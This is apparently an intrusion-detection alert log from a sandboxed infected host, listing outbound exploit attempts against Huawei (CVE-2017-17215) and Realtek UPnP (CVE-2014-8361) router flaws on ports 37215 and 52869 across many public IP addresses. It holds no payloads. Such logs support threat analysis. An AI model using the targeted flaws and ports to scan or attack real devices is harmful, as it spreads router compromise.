07/20/24-23:10:52.016220	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47002	52869	192.168.2.15	60.111.115.239
07/20/24-23:10:43.238361	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48044	52869	192.168.2.15	166.150.32.219
07/20/24-23:10:42.249913	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44486	37215	192.168.2.15	180.203.254.113
07/20/24-23:10:46.657302	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40266	52869	192.168.2.15	86.99.249.186
07/20/24-23:10:46.768902	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38930	37215	192.168.2.15	157.152.141.49
07/20/24-23:10:51.944865	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56912	52869	192.168.2.15	172.248.193.236
07/20/24-23:11:06.687949	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60626	37215	192.168.2.15	157.50.43.203
07/20/24-23:10:42.629188	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56574	52869	192.168.2.15	134.192.167.73
07/20/24-23:10:42.269853	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48768	37215	192.168.2.15	41.64.175.189
07/20/24-23:10:52.581805	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48414	37215	192.168.2.15	197.105.235.145
07/20/24-23:10:44.594852	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47396	52869	192.168.2.15	92.18.13.170
07/20/24-23:10:43.528132	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35106	52869	192.168.2.15	4.210.183.193
07/20/24-23:10:56.046357	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48932	37215	192.168.2.15	197.20.149.223
07/20/24-23:10:39.473748	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39482	37215	192.168.2.15	197.30.229.13
07/20/24-23:10:47.719201	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58156	52869	192.168.2.15	184.128.6.167
07/20/24-23:10:51.999918	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37424	52869	192.168.2.15	132.67.102.180
07/20/24-23:10:46.756934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53286	37215	192.168.2.15	210.246.215.230
07/20/24-23:10:44.097327	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44816	52869	192.168.2.15	120.182.174.145
07/20/24-23:10:40.642616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56460	37215	192.168.2.15	223.170.119.134
07/20/24-23:10:52.021520	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37926	52869	192.168.2.15	68.232.135.127
07/20/24-23:10:39.431804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37834	37215	192.168.2.15	197.43.242.43
07/20/24-23:10:39.434366	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55304	37215	192.168.2.15	157.178.175.186
07/20/24-23:10:52.564314	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57518	37215	192.168.2.15	41.145.69.35
07/20/24-23:10:39.438615	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48166	37215	192.168.2.15	41.99.38.42
07/20/24-23:10:40.658204	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48632	37215	192.168.2.15	158.185.201.45
07/20/24-23:10:43.587662	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50302	52869	192.168.2.15	155.171.90.214
07/20/24-23:10:39.438615	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34812	37215	192.168.2.15	197.167.93.130
07/20/24-23:10:43.084316	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49970	52869	192.168.2.15	164.168.209.243
07/20/24-23:10:46.947214	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58848	52869	192.168.2.15	99.171.211.36
07/20/24-23:10:39.976697	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53954	52869	192.168.2.15	203.62.78.235
07/20/24-23:10:43.618992	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36956	52869	192.168.2.15	126.29.154.162
07/20/24-23:10:51.937938	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40816	52869	192.168.2.15	136.211.29.117
07/20/24-23:10:39.487319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55246	37215	192.168.2.15	197.55.78.55
07/20/24-23:10:42.620216	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37000	52869	192.168.2.15	91.122.92.170
07/20/24-23:10:56.011930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33522	37215	192.168.2.15	157.180.20.80
07/20/24-23:10:44.037393	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37734	52869	192.168.2.15	196.217.9.9
07/20/24-23:10:59.029814	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58742	37215	192.168.2.15	41.250.42.92
07/20/24-23:11:06.679232	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60588	37215	192.168.2.15	41.116.21.37
07/20/24-23:10:46.756934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48050	37215	192.168.2.15	197.211.68.113
07/20/24-23:10:59.046417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50932	37215	192.168.2.15	197.22.161.137
07/20/24-23:11:03.352491	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50358	37215	192.168.2.15	124.162.226.185
07/20/24-23:10:42.262762	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57978	37215	192.168.2.15	157.24.244.61
07/20/24-23:10:41.237255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55846	37215	192.168.2.15	157.92.61.85
07/20/24-23:10:47.615909	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42938	52869	192.168.2.15	39.91.70.157
07/20/24-23:10:59.027427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33704	37215	192.168.2.15	41.115.120.71
07/20/24-23:10:47.841560	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34964	52869	192.168.2.15	131.63.7.210
07/20/24-23:10:49.428717	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41300	37215	192.168.2.15	146.224.112.150
07/20/24-23:11:03.390577	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34800	37215	192.168.2.15	115.117.47.110
07/20/24-23:10:49.404246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56658	37215	192.168.2.15	42.7.241.18
07/20/24-23:10:46.735703	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38522	37215	192.168.2.15	197.208.205.254
07/20/24-23:10:40.649994	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55858	37215	192.168.2.15	41.91.198.123
07/20/24-23:10:42.273908	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43966	37215	192.168.2.15	197.181.234.52
07/20/24-23:10:47.950669	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39012	52869	192.168.2.15	201.38.82.44
07/20/24-23:10:49.355429	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41098	37215	192.168.2.15	157.21.149.230
07/20/24-23:10:41.230206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55828	37215	192.168.2.15	41.235.198.119
07/20/24-23:10:46.735704	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37538	37215	192.168.2.15	41.130.80.223
07/20/24-23:10:39.117975	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48566	52869	192.168.2.15	65.58.210.176
07/20/24-23:10:43.390649	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47444	52869	192.168.2.15	47.162.26.170
07/20/24-23:10:44.535658	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52146	52869	192.168.2.15	8.13.226.92
07/20/24-23:11:06.706397	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47192	37215	192.168.2.15	157.243.168.27
07/20/24-23:10:56.007995	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59632	37215	192.168.2.15	41.41.106.4
07/20/24-23:10:39.434366	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47084	37215	192.168.2.15	41.218.65.16
07/20/24-23:10:41.241455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49570	37215	192.168.2.15	168.175.171.32
07/20/24-23:10:58.986541	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51302	37215	192.168.2.15	197.74.105.244
07/20/24-23:10:45.071813	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60978	52869	192.168.2.15	103.118.11.148
07/20/24-23:10:49.430121	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46506	37215	192.168.2.15	125.197.181.211
07/20/24-23:10:43.092313	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37538	52869	192.168.2.15	106.69.59.16
07/20/24-23:10:56.030930	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58026	37215	192.168.2.15	86.176.66.84
07/20/24-23:10:59.046417	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50002	37215	192.168.2.15	157.4.242.187
07/20/24-23:10:46.726397	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33804	37215	192.168.2.15	41.70.215.60
07/20/24-23:11:06.688603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41732	37215	192.168.2.15	197.70.127.226
07/20/24-23:10:41.241455	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33158	37215	192.168.2.15	41.27.64.243
07/20/24-23:10:49.395188	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58758	37215	192.168.2.15	74.70.192.12
07/20/24-23:10:41.230206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53678	37215	192.168.2.15	196.4.129.234
07/20/24-23:10:39.479939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54602	37215	192.168.2.15	182.92.42.223
07/20/24-23:10:42.641904	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33360	52869	192.168.2.15	162.144.96.77
07/20/24-23:10:46.724339	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49414	37215	192.168.2.15	157.118.190.74
07/20/24-23:10:46.756934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36804	37215	192.168.2.15	197.133.143.135
07/20/24-23:11:03.396635	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45724	37215	192.168.2.15	197.129.166.243
07/20/24-23:11:03.343633	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43170	37215	192.168.2.15	197.109.236.216
07/20/24-23:10:49.420934	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48458	37215	192.168.2.15	41.229.104.117
07/20/24-23:10:55.995070	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53062	37215	192.168.2.15	157.245.203.100
07/20/24-23:10:51.969301	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51708	52869	192.168.2.15	63.181.216.41
07/20/24-23:10:49.360961	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36816	37215	192.168.2.15	157.200.205.87
07/20/24-23:10:48.433861	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54984	52869	192.168.2.15	163.51.19.31
07/20/24-23:10:52.521111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59510	37215	192.168.2.15	157.238.7.131
07/20/24-23:10:42.273908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33180	37215	192.168.2.15	157.225.109.57
07/20/24-23:10:39.474284	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43916	37215	192.168.2.15	157.204.120.208
07/20/24-23:11:03.352491	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54974	37215	192.168.2.15	197.83.39.11
07/20/24-23:10:51.926807	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38284	52869	192.168.2.15	111.75.183.223
07/20/24-23:10:52.045718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49162	52869	192.168.2.15	114.103.82.126
07/20/24-23:10:41.233111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34170	37215	192.168.2.15	41.81.78.42
07/20/24-23:10:45.176876	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60190	52869	192.168.2.15	86.108.11.155
07/20/24-23:10:56.021160	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51470	37215	192.168.2.15	184.48.192.179
07/20/24-23:10:41.248342	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54130	37215	192.168.2.15	197.62.82.205
07/20/24-23:10:46.817180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49752	37215	192.168.2.15	197.156.4.216
07/20/24-23:10:47.433416	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34784	52869	192.168.2.15	129.202.137.125
07/20/24-23:10:41.232384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50676	37215	192.168.2.15	157.108.205.183
07/20/24-23:11:03.402557	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42978	37215	192.168.2.15	157.189.197.226
07/20/24-23:10:42.248264	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39340	37215	192.168.2.15	157.55.118.235
07/20/24-23:10:43.379931	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37236	52869	192.168.2.15	144.224.217.126
07/20/24-23:10:41.233111	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36898	37215	192.168.2.15	157.230.83.224
07/20/24-23:11:03.381593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45936	37215	192.168.2.15	157.61.178.128
07/20/24-23:10:44.084674	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38512	52869	192.168.2.15	18.208.103.195
07/20/24-23:10:52.006529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34392	52869	192.168.2.15	159.7.254.101
07/20/24-23:10:42.630026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40126	52869	192.168.2.15	108.128.208.18
07/20/24-23:10:46.817180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38080	37215	192.168.2.15	155.193.235.193
07/20/24-23:10:40.148951	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47828	52869	192.168.2.15	96.224.29.242
07/20/24-23:10:47.630051	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	42844	52869	192.168.2.15	88.192.240.239
07/20/24-23:10:41.224086	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58384	37215	192.168.2.15	157.37.199.77
07/20/24-23:10:52.551688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43920	37215	192.168.2.15	186.51.119.156
07/20/24-23:10:46.817180	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54220	37215	192.168.2.15	190.250.16.69
07/20/24-23:10:41.233111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41686	37215	192.168.2.15	197.242.40.170
07/20/24-23:10:52.538168	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51118	37215	192.168.2.15	41.151.57.99
07/20/24-23:10:46.865461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33564	37215	192.168.2.15	41.139.160.21
07/20/24-23:10:49.450306	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39042	37215	192.168.2.15	197.230.203.208
07/20/24-23:11:03.339788	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50838	37215	192.168.2.15	59.219.66.240
07/20/24-23:10:47.596350	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32838	52869	192.168.2.15	119.185.234.171
07/20/24-23:10:52.955677	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	40792	52869	192.168.2.15	155.240.87.154
07/20/24-23:10:51.925000	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51656	52869	192.168.2.15	45.153.62.62
07/20/24-23:10:51.969301	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55782	52869	192.168.2.15	140.169.88.3
07/20/24-23:10:43.945120	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55656	52869	192.168.2.15	172.248.193.236
07/20/24-23:10:45.553102	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50882	52869	192.168.2.15	35.212.114.203
07/20/24-23:10:43.225634	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46284	52869	192.168.2.15	166.169.25.66
07/20/24-23:10:40.658204	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43890	37215	192.168.2.15	157.182.237.139
07/20/24-23:10:59.029815	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47198	37215	192.168.2.15	157.10.63.167
07/20/24-23:10:56.016286	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34812	37215	192.168.2.15	197.143.130.166
07/20/24-23:10:51.920409	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36264	52869	192.168.2.15	4.210.183.193
07/20/24-23:10:42.640980	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49072	52869	192.168.2.15	109.51.3.47
07/20/24-23:10:41.221769	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44340	37215	192.168.2.15	197.197.252.182
07/20/24-23:10:43.899907	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	60860	52869	192.168.2.15	12.15.153.124
07/20/24-23:10:44.605211	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45208	52869	192.168.2.15	112.250.31.72
07/20/24-23:10:59.055793	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57220	37215	192.168.2.15	157.235.67.69
07/20/24-23:11:03.394674	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48048	37215	192.168.2.15	99.157.121.60
07/20/24-23:10:41.227410	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43682	37215	192.168.2.15	157.251.184.233
07/20/24-23:10:46.666447	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48046	52869	192.168.2.15	58.115.50.235
07/20/24-23:10:52.008043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43144	52869	192.168.2.15	148.178.43.17
07/20/24-23:10:42.263488	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39232	37215	192.168.2.15	197.77.128.68
07/20/24-23:10:42.619459	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48840	52869	192.168.2.15	114.147.236.150
07/20/24-23:10:46.829468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52954	37215	192.168.2.15	41.74.114.232
07/20/24-23:10:39.584903	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38600	52869	192.168.2.15	217.58.36.234
07/20/24-23:10:44.680447	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46452	52869	192.168.2.15	143.46.197.220
07/20/24-23:10:51.970585	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47458	52869	192.168.2.15	23.255.13.10
07/20/24-23:10:39.488246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34532	37215	192.168.2.15	157.241.6.192
07/20/24-23:10:40.217788	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33992	52869	192.168.2.15	178.153.143.199
07/20/24-23:10:42.622797	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41408	52869	192.168.2.15	217.115.151.81
07/20/24-23:10:43.579377	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45970	52869	192.168.2.15	100.180.255.242
07/20/24-23:10:46.726397	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33804	37215	192.168.2.15	41.70.215.60
07/20/24-23:10:45.392566	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34380	52869	192.168.2.15	223.213.191.10
07/20/24-23:10:39.462416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45002	37215	192.168.2.15	197.105.219.240
07/20/24-23:10:59.004938	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57470	37215	192.168.2.15	41.202.58.82
07/20/24-23:11:06.680204	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59684	37215	192.168.2.15	169.212.197.47
07/20/24-23:10:46.711367	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54440	37215	192.168.2.15	41.101.41.79
07/20/24-23:10:51.926807	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39004	52869	192.168.2.15	196.217.9.9
07/20/24-23:11:03.378926	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34600	37215	192.168.2.15	188.23.31.199
07/20/24-23:10:59.326324	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33730	37215	192.168.2.15	197.241.133.198
07/20/24-23:10:51.900424	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51464	52869	192.168.2.15	87.147.33.140
07/20/24-23:10:44.363105	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47876	52869	192.168.2.15	130.31.106.211
07/20/24-23:10:47.807651	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43170	52869	192.168.2.15	169.30.6.222
07/20/24-23:10:52.361937	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59244	52869	192.168.2.15	48.66.205.87
07/20/24-23:10:42.266162	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39510	37215	192.168.2.15	41.149.117.12
07/20/24-23:10:51.955739	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34804	52869	192.168.2.15	171.218.135.148
07/20/24-23:10:52.549473	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33364	37215	192.168.2.15	157.237.212.167
07/20/24-23:10:40.608330	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33364	37215	192.168.2.15	157.231.228.120
07/20/24-23:11:06.686627	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37834	37215	192.168.2.15	157.16.25.243
07/20/24-23:10:47.742820	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37346	52869	192.168.2.15	74.125.66.82
07/20/24-23:11:06.688603	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47108	37215	192.168.2.15	197.124.145.235
07/20/24-23:10:51.955556	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60754	52869	192.168.2.15	173.225.79.113
07/20/24-23:10:42.263488	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57540	37215	192.168.2.15	197.174.153.88
07/20/24-23:10:58.998725	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55608	37215	192.168.2.15	104.121.92.152
07/20/24-23:10:39.434366	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45306	37215	192.168.2.15	197.89.116.170
07/20/24-23:10:40.656564	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34744	37215	192.168.2.15	41.238.31.136
07/20/24-23:10:51.951774	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37096	52869	192.168.2.15	1.209.39.62
